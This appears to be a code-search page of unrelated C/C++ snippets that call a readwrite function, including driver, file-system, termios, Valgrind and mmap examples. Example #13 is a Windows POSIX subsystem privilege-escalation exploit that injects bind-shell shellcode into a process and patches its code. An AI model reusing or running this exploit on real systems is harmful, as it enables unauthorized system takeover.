示例#1
0
uint8_t TICC1100::writeRegister(Registers::Enum registerAddress, uint8_t value, bool check)
{
	try
	{
		if(_fileDescriptor->descriptor == -1) return 0xFF;
		std::vector<uint8_t> data({(uint8_t)registerAddress, value});
		readwrite(data);
		if((data.at(0) & StatusBitmasks::Enum::CHIP_RDYn) || (data.at(1) & StatusBitmasks::Enum::CHIP_RDYn)) throw BaseLib::Exception("Error writing to register " + std::to_string(registerAddress) + ".");

		if(check)
		{
			data.at(0) = registerAddress | RegisterBitmasks::Enum::READ_SINGLE;
			data.at(1) = 0;
			readwrite(data);
			if(data.at(1) != value) throw BaseLib::Exception("Error (check) writing to register " + std::to_string(registerAddress) + ".");
		}
		return data.at(0);
	}
    catch(const std::exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(BaseLib::Exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(...)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__);
    }
    return 0;
}
示例#2
0
retvalue aptmethod_download(struct aptmethodrun *run) {
	struct aptmethod *method;
	retvalue result, r;
	int workleft;

	result = RET_NOTHING;

	/* fire up all methods, removing those that do not work: */
	for (method = run->methods; method != NULL ; method = method->next) {
		r = aptmethod_startup(method);
		/* do not remove failed methods here any longer,
		 * and not remove methods having nothing to do,
		 * as this breaks when no index files are downloaded
		 * due to all already being in place... */
		RET_UPDATE(result, r);
	}
	/* waiting for them to finish: */
	do {
	  r = checkchilds(run);
	  RET_UPDATE(result, r);
	  r = readwrite(run, &workleft);
	  RET_UPDATE(result, r);
	  // TODO: check interrupted here...
	} while (workleft > 0 || uncompress_running());

	return result;
}
示例#3
0
uint8_t TICC1100::sendCommandStrobe(CommandStrobes::Enum commandStrobe)
{
	try
	{
		if(_fileDescriptor->descriptor == -1) return 0xFF;
		std::vector<uint8_t> data({(uint8_t)commandStrobe});
		for(uint32_t i = 0; i < 5; i++)
		{
			readwrite(data);
			if(!(data.at(0) & StatusBitmasks::Enum::CHIP_RDYn)) break;
			data.at(0) = (uint8_t)commandStrobe;
			usleep(20);
		}
		return data.at(0);
	}
    catch(const std::exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(BaseLib::Exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(...)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__);
    }
    return 0;
}
示例#4
0
std::vector<uint8_t> TICC1100::readRegisters(Registers::Enum startAddress, uint8_t count)
{
	try
	{
		if(_fileDescriptor->descriptor == -1) return std::vector<uint8_t>();
		std::vector<uint8_t> data({(uint8_t)(startAddress | RegisterBitmasks::Enum::READ_BURST)});
		data.resize(count + 1, 0);
		for(uint32_t i = 0; i < 5; i++)
		{
			readwrite(data);
			if(!(data.at(0) & StatusBitmasks::Enum::CHIP_RDYn)) break;
			data.clear();
			data.at(0) = (uint8_t)(startAddress  | RegisterBitmasks::Enum::READ_BURST);
			for(uint32_t i = 0; i < count; i++) data.push_back(0);
			usleep(20);
		}
		return data;
	}
    catch(const std::exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(BaseLib::Exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(...)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__);
    }
    return std::vector<uint8_t>();
}
示例#5
0
uint8_t TICC1100::readRegister(Registers::Enum registerAddress)
{
	try
	{
		if(_fileDescriptor->descriptor == -1) return 0;
		std::vector<uint8_t> data({(uint8_t)(registerAddress | RegisterBitmasks::Enum::READ_SINGLE), 0x00});
		for(uint32_t i = 0; i < 5; i++)
		{
			readwrite(data);
			if(!(data.at(0) & StatusBitmasks::Enum::CHIP_RDYn)) break;
			data.at(0) = (uint8_t)(registerAddress  | RegisterBitmasks::Enum::READ_SINGLE);
			data.at(1) = 0;
			usleep(20);
		}
		return data.at(1);
	}
    catch(const std::exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(BaseLib::Exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(...)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__);
    }
    return 0;
}
示例#6
0
int copyfile(int fromfd, int tofd) {
    int bytesread;
    int totalbytes = 0;

    while ((bytesread = readwrite(fromfd, tofd)) > 0)
        totalbytes += bytesread;
    return totalbytes;
}
int catgrepmore(char *fname, int fds1[2], int fds2[2]) {
  int ifd, grep_status, more_status;
   /* This is essentially how the pipes are set up:
            --------------      -------------
      parent     PIPE1     grep     PIPE2    more
            --------------      -------------
            ^            ^      ^           ^
          Write         Read  Write        Read
  */
  //CHILD: grep
  pid_t grep_pid = fork();         
  if(grep_pid == -1) { perror("fork"); exit(1); }
  if(grep_pid == 0) {
    closefd(fds1[WRITE_END]);            /* close write end of pipe1 */            
    closefd(fds2[READ_END]);             /* close read end of pipe2 */  
    redirect(fds1[READ_END], STDIN);     /* redirect stdin to read end of pipe1, then close read end */ 
    redirect(fds2[WRITE_END], STDOUT);   /* redirect stdout to write end of pipe2, then close write end */
    execlp("grep", "grep", pattern, (char *) NULL);
    perror("execlp: grep");
    exit(1);
  }
  
  pid_t more_pid = fork();
  if(more_pid == -1) { perror("fork"); exit(1); }
  //CHILD: more
  if(more_pid == 0) {
    closefd(fds1[WRITE_END]);            /* close write end of pipe1 */
    closefd(fds1[READ_END]);             /* close read end of pipe1 */
    closefd(fds2[WRITE_END]);            /* close write end of pipe2 */
    redirect(fds2[READ_END], STDIN);     /* redirect stdin to read end of pipe2, then close read end */
    execlp("more", "more", (char *) NULL);
    perror("execlp: more");
    exit(1);
  }
 
  //PARENT
  if(grep_pid != 0 && more_pid != 0) {
    if((ifd = open(fname, O_RDONLY, 0666)) == -1) {
      fprintf(stderr, "open: Can't open %s for reading: %s\n", fname, strerror(errno));
      exit(1);
    }
    closefd(fds1[READ_END]);              /* close read end of pipe1 */
    closefd(fds2[WRITE_END]);             /* close write end of pipe2 */
    closefd(fds2[READ_END]);              /* close read end of pipe2 */
    readwrite(ifd, fds1[WRITE_END]);      /* fill read end of pipe1 with data from infile */
    closefd(fds1[WRITE_END]);             /* close write end of pipe1 cuz we're done with it */
    closefd(ifd);                         /* close input fd cuz we're done with it */
    grep_pid = waitpid(grep_pid, &grep_status, 0); 
    more_pid = waitpid(more_pid, &more_status, 0);
    pchildstatus(grep_pid, grep_status, "grep"); /* report exit status of grep */
    pchildstatus(more_pid, more_status, "more"); /* report exit status of more */
  }

  return 0;
}
示例#8
0
文件: mintime.c 项目: forkhope/apue2
void set_min_time(int fd, struct termios *term, int min, int time)
{
    term->c_cc[VMIN] = min;
    term->c_cc[VTIME] = time;
    if (tcsetattr(fd, TCSAFLUSH, term) < 0) {
        perror("tcsetattr STDIN_FILENO error");
        exit(1);
    }
    printf("(%d, %d): term.c_cc[VMIN]: %d, term.c_cc[VTIME]: %d\n",
            min, time, term->c_cc[VMIN], term->c_cc[VTIME]);
    readwrite();
    printf("\n----- readwrite() end --------\n");
}
示例#9
0
void TICC1100::writeRegisters(Registers::Enum startAddress, std::vector<uint8_t>& values)
{
	try
	{
		if(_fileDescriptor->descriptor == -1) return;
		std::vector<uint8_t> data({(uint8_t)(startAddress | RegisterBitmasks::Enum::WRITE_BURST) });
		data.insert(data.end(), values.begin(), values.end());
		readwrite(data);
		if((data.at(0) & StatusBitmasks::Enum::CHIP_RDYn)) throw BaseLib::Exception("Error writing to registers " + std::to_string(startAddress) + ".");
	}
    catch(const std::exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(BaseLib::Exception& ex)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__, ex.what());
    }
    catch(...)
    {
        _out.printEx(__FILE__, __LINE__, __PRETTY_FUNCTION__);
    }
}
示例#10
0
/* write on a file */
ssize_t write(int fildes, const void *buf, size_t nbyte)
{
    struct filestr_desc * const file = GET_FILESTR(READER, fildes);
    if (!file)
        FILE_ERROR_RETURN(ERRNO, -1);

    ssize_t rc;

    if (!(file->stream.flags & FD_WRITE))
    {
        DEBUGF("write(fd=%d,buf=%p,nb=%lu) - "
               "descriptor is read-only mode\n",
               fildes, buf, (unsigned long)nbyte);
        FILE_ERROR(EBADF, -2);
    }

    rc = readwrite(file, (void *)buf, nbyte, true);
    if (rc < 0)
        FILE_ERROR(ERRNO, rc * 10 - 3);

file_error:
    RELEASE_FILESTR(READER, file);
    return rc;
}
示例#11
0
void pc_pp_Error ( Error* err )
{
   const Bool xml = VG_(clo_xml); /* a shorthand, that's all */

   XError *xe = (XError*)VG_(get_error_extra)(err);
   tl_assert(xe);

   switch (VG_(get_error_kind)(err)) {

   //----------------------------------------------------------
   case XE_SorG:

      if (xml) {

         emit( "  <kind>SorG</kind>\n");
         emit( "  <what>Invalid %s of size %ld</what>\n",
               xe->XE.SorG.sszB < 0 ? "write" : "read",
               Word__abs(xe->XE.SorG.sszB) );
         VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
         emit( "  <auxwhat>Address %#lx expected vs actual:</auxwhat>\n",
               xe->XE.SorG.addr );
         emiN( "  <auxwhat>Expected: %t</auxwhat>\n",
               &xe->XE.SorG.expect[0] );
         emiN( "  <auxwhat>Actual:   %t</auxwhat>\n", 
               &xe->XE.SorG.actual[0] );

      } else {

         emit( "Invalid %s of size %ld\n", 
               xe->XE.SorG.sszB < 0 ? "write" : "read",
               Word__abs(xe->XE.SorG.sszB) );
         VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
         emit( " Address %#lx expected vs actual:\n", xe->XE.SorG.addr );
         emit( " Expected: %s\n", &xe->XE.SorG.expect[0] );
         emit( " Actual:   %s\n", &xe->XE.SorG.actual[0] );

      }
      break;

   //----------------------------------------------------------
   case XE_Heap: {
      Char *place, *legit, *how_invalid;
      Addr a    = xe->XE.Heap.addr;
      Seg* vseg = xe->XE.Heap.vseg;

      tl_assert(is_known_segment(vseg) || NONPTR == vseg);

      if (NONPTR == vseg) {
         // Access via a non-pointer

         if (xml) {

            emit( "  <kind>Heap</kind>\n");
            emit( "  <what>Invalid %s of size %ld</what>\n",
                  readwrite(xe->XE.Heap.sszB),
                  Word__abs(xe->XE.Heap.sszB) );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            emit( "  <auxwhat>Address %#lx is not derived from "
                  "any known block</auxwhat>\n", a );

         } else {

            emit( "Invalid %s of size %ld\n",
                  readwrite(xe->XE.Heap.sszB),
                  Word__abs(xe->XE.Heap.sszB) );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            emit( " Address %#lx is not derived from "
                  "any known block\n", a );

         }

      } else {
         // Access via a pointer, but outside its range.
         Int cmp;
         UWord miss_size;
         Seg__cmp(vseg, a, &cmp, &miss_size);
         if      (cmp  < 0) place = "before";
         else if (cmp == 0) place = "inside";
         else               place = "after";
         how_invalid = ( ( Seg__is_freed(vseg) && 0 != cmp )
                       ? "Doubly-invalid" : "Invalid" );
         legit = ( Seg__is_freed(vseg) ? "once-" : "" );

         if (xml) {

            emit( "  <kind>Heap</kind>\n");
            emit( "  <what>%s %s of size %ld</what>\n",
                  how_invalid,
                  readwrite(xe->XE.Heap.sszB),
                  Word__abs(xe->XE.Heap.sszB) );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            emit( "  <auxwhat>Address %#lx is %lu bytes %s "
                     "the accessing pointer's</auxwhat>\n",
                  a, miss_size, place );
            emit( "  <auxwhat>%slegitimate range, "
                     "a block of size %lu %s</auxwhat>\n",
                  legit, Seg__size(vseg),
                  Seg__is_freed(vseg) ? "free'd" : "alloc'd" );
            VG_(pp_ExeContext)(Seg__where(vseg));

         } else {

            emit( "%s %s of size %ld\n",
                  how_invalid,
                  readwrite(xe->XE.Heap.sszB),
                  Word__abs(xe->XE.Heap.sszB) );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            emit( " Address %#lx is %lu bytes %s the accessing pointer's\n",
                  a, miss_size, place );
            emit( " %slegitimate range, a block of size %lu %s\n",
                  legit, Seg__size(vseg),
                  Seg__is_freed(vseg) ? "free'd" : "alloc'd" );
            VG_(pp_ExeContext)(Seg__where(vseg));

         }
      }

      /* If we have a better description of the address, show it.
         Note that in XML mode, it will already by nicely wrapped up
         in tags, either <auxwhat> or <xauxwhat>, so we can just emit
         it verbatim. */
      if (xml) {

         if (xe->XE.Heap.descr1)
            emiN( "  %t\n",
                  (HChar*)VG_(indexXA)( xe->XE.Heap.descr1, 0 ) );
         if (xe->XE.Heap.descr2)
            emiN( "  %t\n",
                  (HChar*)VG_(indexXA)( xe->XE.Heap.descr2, 0 ) );
         if (xe->XE.Heap.datasym[0] != 0)
            emiN( "  <auxwhat>Address 0x%llx is %llu bytes "
                  "inside data symbol \"%t\"</auxwhat>\n",
                  (ULong)xe->XE.Heap.addr,
                  (ULong)xe->XE.Heap.datasymoff,
                  xe->XE.Heap.datasym );

      } else {

         if (xe->XE.Heap.descr1)
            emit( " %s\n",
                  (HChar*)VG_(indexXA)( xe->XE.Heap.descr1, 0 ) );
         if (xe->XE.Heap.descr2)
            emit( " %s\n",
                  (HChar*)VG_(indexXA)( xe->XE.Heap.descr2, 0 ) ); 
         if (xe->XE.Heap.datasym[0] != 0)
            emit( " Address 0x%llx is %llu bytes "
                  "inside data symbol \"%s\"\n",
                  (ULong)xe->XE.Heap.addr,
                  (ULong)xe->XE.Heap.datasymoff,
                  xe->XE.Heap.datasym );

      }
      break;
   }

   //----------------------------------------------------------
   case XE_Arith: {
      Seg*   seg1   = xe->XE.Arith.seg1;
      Seg*   seg2   = xe->XE.Arith.seg2;
      Char*  which;

      tl_assert(BOTTOM != seg1);
      tl_assert(BOTTOM != seg2 && UNKNOWN != seg2);

      if (xml) {

         emit( "  <kind>Arith</kind>\n");
         emit( "  <what>Invalid arguments to %s</what>\n",
               xe->XE.Arith.opname );
         VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
         if (seg1 != seg2) {
            if (NONPTR == seg1) {
               emit( "  <auxwhat>First arg not a pointer</auxwhat>\n" );
            } else if (UNKNOWN == seg1) {
               emit( "  <auxwhat>First arg may be a pointer</auxwhat>\n" );
            } else {
               emit( "  <auxwhat>First arg derived from address %#lx of "
                     "%lu-byte block alloc'd</auxwhat>\n",
                     Seg__addr(seg1), Seg__size(seg1) );
               VG_(pp_ExeContext)(Seg__where(seg1));
            }
            which = "Second arg";
         } else {
            which = "Both args";
         }
         if (NONPTR == seg2) {
            emit( "  <auxwhat>%s not a pointer</auxwhat>\n", which );
         } else {
            emit( "  <auxwhat>%s derived from address %#lx of "
                  "%lu-byte block alloc'd</auxwhat>\n",
                  which, Seg__addr(seg2), Seg__size(seg2) );
            VG_(pp_ExeContext)(Seg__where(seg2));
         }

      } else {

         emit( "Invalid arguments to %s\n",
               xe->XE.Arith.opname );
         VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
         if (seg1 != seg2) {
            if (NONPTR == seg1) {
               emit( " First arg not a pointer\n" );
            } else if (UNKNOWN == seg1) {
               emit( " First arg may be a pointer\n" );
            } else {
               emit( " First arg derived from address %#lx of "
                     "%lu-byte block alloc'd\n",
                     Seg__addr(seg1), Seg__size(seg1) );
               VG_(pp_ExeContext)(Seg__where(seg1));
            }
            which = "Second arg";
         } else {
            which = "Both args";
         }
         if (NONPTR == seg2) {
            emit( " %s not a pointer\n", which );
         } else {
            emit( " %s derived from address %#lx of "
                  "%lu-byte block alloc'd\n",
                  which, Seg__addr(seg2), Seg__size(seg2) );
            VG_(pp_ExeContext)(Seg__where(seg2));
         }

      }

      break;
   }

   //----------------------------------------------------------
   case XE_SysParam: {
      Addr  lo    = xe->XE.SysParam.lo;
      Addr  hi    = xe->XE.SysParam.hi;
      Seg*  seglo = xe->XE.SysParam.seglo;
      Seg*  seghi = xe->XE.SysParam.seghi;
      Char* s     = VG_(get_error_string) (err);
      Char* what;

      tl_assert(BOTTOM != seglo && BOTTOM != seghi);

      if      (Vg_CoreSysCall == xe->XE.SysParam.part) 
                 what = "Syscall param ";
      else    VG_(tool_panic)("bad CorePart");

      if (seglo == seghi) {
         // freed block
         tl_assert(is_known_segment(seglo));
         tl_assert(Seg__is_freed(seglo)); // XXX what if it's now recycled?

         if (xml) {

            emit( "  <kind>SysParam</kind>\n");
            emit( "  <what>%s%s contains unaddressable byte(s)</what>\n",
                  what, s );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            emit( "  <auxwhat>Address %#lx is %ld bytes inside a "
                  "%ld-byte block free'd</auxwhat>\n",
                  lo, lo-Seg__addr(seglo), Seg__size(seglo) );
            VG_(pp_ExeContext)(Seg__where(seglo));

         } else {

            emit( " %s%s contains unaddressable byte(s)\n",
                  what, s );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            emit( " Address %#lx is %ld bytes inside a "
                  "%ld-byte block free'd\n",
                  lo, lo-Seg__addr(seglo), Seg__size(seglo) );
            VG_(pp_ExeContext)(Seg__where(seglo));

         }

      } else {
         // mismatch

         if (xml) {

            emit( "  <kind>SysParam</kind>\n");
            emit( "  <what>%s%s is non-contiguous</what>\n",
                  what, s );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            if (UNKNOWN == seglo) {
               emit( "  <auxwhat>First byte is "
                        "not inside a known block</auxwhat>\n" );
            } else {
               emit( "  <auxwhat>First byte (%#lx) is %ld bytes inside a "
                     "%ld-byte block alloc'd</auxwhat>\n",
                     lo, lo-Seg__addr(seglo), Seg__size(seglo) );
               VG_(pp_ExeContext)(Seg__where(seglo));
            }
   
            if (UNKNOWN == seghi) {
               emit( "  <auxwhat>Last byte is "
                        "not inside a known block</auxwhat>\n" );
            } else {
               emit( "  <auxwhat>Last byte (%#lx) is %ld bytes inside a "
                     "%ld-byte block alloc'd</auxwhat>\n",
                     hi, hi-Seg__addr(seghi), Seg__size(seghi) );
               VG_(pp_ExeContext)(Seg__where(seghi));
            }

         } else {

            emit( "%s%s is non-contiguous\n",
                  what, s );
            VG_(pp_ExeContext)( VG_(get_error_where)(err) );
   
            if (UNKNOWN == seglo) {
               emit( " First byte is not inside a known block\n" );
            } else {
               emit( " First byte (%#lx) is %ld bytes inside a "
                     "%ld-byte block alloc'd\n",
                     lo, lo-Seg__addr(seglo), Seg__size(seglo) );
               VG_(pp_ExeContext)(Seg__where(seglo));
            }
   
            if (UNKNOWN == seghi) {
               emit( " Last byte is not inside a known block\n" );
            } else {
               emit( " Last byte (%#lx) is %ld bytes inside a "
                     "%ld-byte block alloc'd\n",
                     hi, hi-Seg__addr(seghi), Seg__size(seghi) );
               VG_(pp_ExeContext)(Seg__where(seghi));
            }

         }

      }
      break;
   }

   default:
      VG_(tool_panic)("pp_Error: unrecognised error kind");
   }
}
示例#12
0
int main( int argc, char** argv ){
	int fd,n;
	char *addr;
	char buf[512], buf2[512];
	struct stat buffer, buffer2;
	
	if (argc<2)
	{
		fprintf(stderr,"error: not enough arguments\n");
		return 1;
	}
	switch(argv[1][0]) //only look at first char of the argument
	{
		case 'A':
			fprintf(stderr,"Problem A:\n");
			if((fd=open("testfile",O_RDONLY))<0)
			{
				perror("open");
				return 1;
			}
			if((addr=mmap(NULL,100,PROT_READ,MAP_PRIVATE,fd,0))==MAP_FAILED)
			{
				perror("map");
				return 1;
			}
			fprintf(stderr,"trying to write 'test' to memory mmapped for read access only\n");
			sprintf(addr,"test\n");
			
			break;
		case 'B':
			fprintf(stderr,"Problem B:\n");
			if((fd=open("testfile",O_RDWR))<0)
			{
				perror("open");
				return 1;
			}
			
			if((addr=mmap(NULL,100,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0))==MAP_FAILED)
			{
				perror("map");
				return 1;
			}
			fprintf(stderr,"mmap contents before writing to shared mmap: %s",addr);
			sprintf(addr,"testing 12345\n");
			
			if ((n=read(fd,buf,64))<0)
			{
				perror("read error");
			}
			buf[n]='\0';
			fprintf(stderr,"testfile contents after writing to shared mmap: %s\n",buf);
			fprintf(stderr,"YES, update is immediately visible\n");
			break;
		case 'C':
			fprintf(stderr,"Problem C:\n");
			if((fd=open("testfile",O_RDWR))<0)
			{
				perror("open");
				return 1;
			}
			
			if((addr=mmap(NULL,100,PROT_READ|PROT_WRITE,MAP_PRIVATE,fd,0))==MAP_FAILED)
			{
				perror("map");
				return 1;
			}
			fprintf(stderr,"mmap contents before writing to private mmap: %s",addr);
			sprintf(addr,"testing 12345\n");
			
			if ((n=read(fd,buf,64))<0)
			{
				perror("read error");
			}
			buf[n]='\0';
			fprintf(stderr,"testfile contents after writing to private mmap: %s\n",buf);
			fprintf(stderr,"NO, update is not immediately visible\n");
			break;
		case 'D': //and E too
			
			fprintf(stderr,"Problem D:\n");
			if((fd=open("testfile",O_RDWR))<0)
			{
				perror("open");
				return 1;
			}
			fprintf(stderr,"testfile contents are:");
			readwrite(fd,2);
			if (lseek(fd,0,SEEK_SET)<0)//reset file offset to 0
			{
				perror("lseek");
			}
			if((addr=mmap(NULL,100,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0))==MAP_FAILED)
			{
				perror("map");
				return 1;
			}
			if (fstat(fd,&buffer)<0)
			{
				perror("fstat");
			}
			fprintf(stderr,"filesize before any writing hole is %d\n",buffer.st_size);
			sprintf(addr+buffer.st_size,"hole\n");
			if (fstat(fd,&buffer2)<0)
			{
				perror("fstat");
			}
			fprintf(stderr,"filesize after writing hole is %d\n",buffer2.st_size);
			fprintf(stderr,"So the answer to D is NO, the filesize has not increased\n");
			fprintf(stderr,"Problem E:\nExpanding file past hole\n");
			if (lseek(fd,10,SEEK_END)<0)
			{
				perror("lseek");
			}
			if (write(fd,"new end of file\n",16)<0)
			{
				perror("write");
			}
			if (lseek(fd,0,SEEK_SET)<0)
			{
				perror("lseek");
			}
			fprintf(stderr,"dump is:\n");
			readwrite(fd,2);
			fprintf(stderr,"See, now the hole has appeared!\n");
			break;
		case 'F':
			
			fprintf(stderr,"Problem F:\n");
			if((fd=open("testfile",O_RDWR))<0)
			{
				perror("open");
				return 1;
			}
			if((addr=mmap(NULL,8192,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0))==MAP_FAILED)
			{
				perror("map");
				return 1;
			}
			fprintf(stderr,"Accessing first page:\n");
			fprintf(stderr,"%s\n",addr+50);
			fprintf(stderr,"It worked!\nAccessing 2nd page (this will receive SIGBUS\n");
			fprintf(stderr,"%s\n",addr+5000);
			/*Accessing the second page is a valid memory access but the kernel is unable to page in the requested page because the actual file is only 10 bytes and fits on one page.  Since the kernel uses demand paging, it only tries to load the page when we attempt to access it for the first time. So it grabs the first page when we try to access some memory there, but when we try to access memory in the second page, it goes to the file and doesn't see a second page.  Thus it sends a SIGBUS.*/
			break;
	}
	return 0;
}
示例#13
0
main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
   unsigned int buflen=0;
   unsigned char textbuf[CODESIZE];
   int i;
   unsigned short lports;
   char cmdarg[400];
   char systemdir[MAX_PATH+1];
   WSADATA    wsd;
   SOCKET sockfd;
   
   printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
   printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
   {
       printf("[-] WSAStartup error:%d\n", WSAGetLastError());
       return -1;
   }
   
   i = GetWindowsDirectory(systemdir,MAX_PATH);
   systemdir[i]='\0';
   _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C 
pax -h",systemdir,systemdir);
   //printf("cmdarg:%s\n",cmdarg);
   //exit(0);
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   //create process
   //&#20808;&#35753;psxss&#36816;&#34892;&#36215;&#26469;
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
   {
    printf("CreateProcess1 failed:%d\n", GetLastError());
    return 0;
   }
   WaitForSingleObject(pi.hProcess, INFINITE);
   //&#20877;&#36816;&#34892;&#19968;&#27425;
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
   {
    printf("CreateProcess2 failed:%d\n", GetLastError());
    return 0;
   }
   //alloc from remote process
   pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | 
   MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
   if (pdwCodeRemote == NULL) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualAllocEx failed:%d\n",GetLastError());
       return 0;
   }
   printf("Remote addr:0x%08x\n",pdwCodeRemote);
   //we can write and execute
   if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx failed:%d\n",GetLastError());
       return 0;
   }
   //make shellcode    
   lports = htons(bindport)^0xeeee;
   memcpy(bind_shell+bind_port_offset,&lports,2);
   
   memset(buffer,'\x90',MEMSIZE);
   //memset(buffer,'A',EIPLOCATION);
   buffer[MEMSIZE-1] = '\0';
   i=sizeof(bind_shell)-1;
   if(i >= EIPLOCATION) 
   {
       printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
       TerminateProcess(pi.hProcess,0);
       return 0;
   }
   i=EIPLOCATION-i;
   memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
   *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //&#35206;&#30422;eip
   *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //&#35206;&#30422;&#31532;&#19968;&#20010;&#21442;&#25968;
   memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
   //write in to target
   buflen=MEMSIZE;
   if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   //modified the process .text
   if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
       return 0;
   }
   //&#21019;&#24314;&#35201;&#20462;&#34917;&#30340;&#20869;&#23481;
   i = 0;
   textbuf[i++]='\xbf';
   textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
   textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
   //&#26367;&#25442;&#36339;&#36716;&#25351;&#20196;
   textbuf[i++]='\xeb';
   textbuf[i++]='\x09'; //jmp .+0b
   //&#20889;&#36827;&#36827;&#31243;&#20013;
   if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   ResumeThread(pi.hThread);
   Sleep(5);
   sockfd=WSASocket(2,1,0,0,0,0);
   if(sockfd == INVALID_SOCKET)
   {
       printf("[-] WSASocket error:%d\n", WSAGetLastError());
       return -1;
   }
   if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
   {
       closesocket(sockfd);
       printf("[-] Maybe not success?\n");
   }
   readwrite(sockfd);
   TerminateProcess(pi.hProcess,0);
   WaitForSingleObject(pi.hProcess, INFINITE);
}
示例#14
0
void pc_pp_Error ( Error* err )
{
   XError *xe = (XError*)VG_(get_error_extra)(err);
   tl_assert(xe);

   switch (VG_(get_error_kind)(err)) {

   //----------------------------------------------------------
   case XE_SorG:
      tl_assert(xe);
      VG_(message)(Vg_UserMsg, "Invalid %s of size %ld", 
                               xe->XE.SorG.sszB < 0 ? "write" : "read",
                               Word__abs(xe->XE.SorG.sszB) );
      VG_(pp_ExeContext)( VG_(get_error_where)(err) );
      VG_(message)(Vg_UserMsg, " Address %#lx expected vs actual:",
                               xe->XE.SorG.addr);
      VG_(message)(Vg_UserMsg, " Expected: %s", &xe->XE.SorG.expect[0] );
      VG_(message)(Vg_UserMsg, " Actual:   %s", &xe->XE.SorG.actual[0] );
      break;

   //----------------------------------------------------------
   case XE_Heap: {
      Char *place, *legit, *how_invalid;
      Addr a    = xe->XE.Heap.addr;
      Seg* vseg = xe->XE.Heap.vseg;

      tl_assert(is_known_segment(vseg) || NONPTR == vseg);

      if (NONPTR == vseg) {
         // Access via a non-pointer
         VG_(message)(Vg_UserMsg, "Invalid %s of size %ld",
                                   readwrite(xe->XE.Heap.sszB),
                                   Word__abs(xe->XE.Heap.sszB));
